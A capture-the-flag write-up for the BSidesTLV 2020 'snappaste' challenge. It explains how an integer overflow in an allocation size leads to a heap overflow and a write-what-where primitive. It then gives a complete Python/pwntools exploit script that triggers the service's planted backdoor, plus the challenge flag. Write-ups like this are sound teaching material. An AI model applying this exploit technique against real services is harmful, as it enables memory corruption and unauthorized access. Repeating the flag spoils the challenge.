Rating: 0

### Backdoor

First thing that catches our attention is, there is a backdoor which gives the flag when requested paste name matches the value of backdoor_filename variable.
Another part of the backdoor leaks the address of backdoor_filename variable.

### Integer Overflow

Integer overflow at num_bytes causes shorter buffer to be allocated than what is needed.

```
// Only a single allocation for efficiency!
dword num_bytes = header->metadata_size + header->data_decompressed_size + sizeof(PASTE_RECEIVED);
```

header->data_decompressed_size is user-controlled variable, and we can set it to 0xFFFFFFFF.

### Buffer overflow

Now let's look at the allocated buffer itself:

`[metadata] [decompressed data buffer] [PASTE_RECEIVED structure]`

Let's look at how these 3 pointers are calculated:
```
auto paste_received_ptr = alloc.get() + num_bytes - sizeof(PASTE_RECEIVED);
paste_received->metadata = alloc.get();
paste_received->data = alloc.get() + header->metadata_size;
```

And take a look at call to uncompress.
```
int result = uncompress(paste_received->data, &dest_len, data, header->data_compressed_size);
```

Because buffer was under-allocated, we can overwrite into paste_received struct with our compressed paste data.

### Write-What-Where

We control all variables passed to memcpy below, giving us Write-What-Where primitive.
```
memcpy(paste_received->metadata, metadata, header->metadata_size);
```
### Final Exploit

* Paste anything to the service and get new randomly generated paste name.
* Set the value of backdoor_filename to our new paste name, using Write-What-Where primitive.
* Request the paste, triggering the backdoor

```
from pwn import *
import requests
import zlib

s = requests.Session()

url = "http://localhost:8080"
# url = "https://snappaste.ctf.bsidestlv.com"

def paste(metadata, data, len_data=None):
data_compressed = zlib.compress(data, 9)

print("metadata size: ", len(metadata))
print("compressed size: ", len(data_compressed))
print("raw size: ", len(data))

if len_data==None:
len_data = len(data)

body = b"" + p32(len(metadata)) + p32(len(data_compressed)) + p32(len_data)
body += metadata
body += data_compressed

resp = s.post(url + "/paste", data=body)
print(url+"/paste")
print(resp)
print(resp.text)

return resp.text.strip()

def get_paste(name):
return s.get(url + "/view/"+name).text

def write8(what, where):
paste(what, b"\x00"*7 + p64(where) + p64(0x00) + p64(where) + p64(0x00), 0xFFFFFFFF)

def write_str(what, where):
while len(what) > 0:
write8(what[:8].encode(), where)
what = what[8:]
where += 8

def leak_backdoor():
id1 = paste(b"", b"")

resp = s.get(url + "/backdoor/"+id1)
print(resp)
print(resp.text.strip())
return resp.text.strip()

def pwn():
s = leak_backdoor().split(" ")
addr = int(s[1], 16)
fname = s[3]

info("Addr %x Name %s" % (addr, fname))

write_str(fname, addr)

info(get_paste(fname))

pwn()

# BSidesTLV2020{$0metimes-jUst-4dding-tw0-nuMber$-g3ts-y0u-iN-tr0ub13s}
```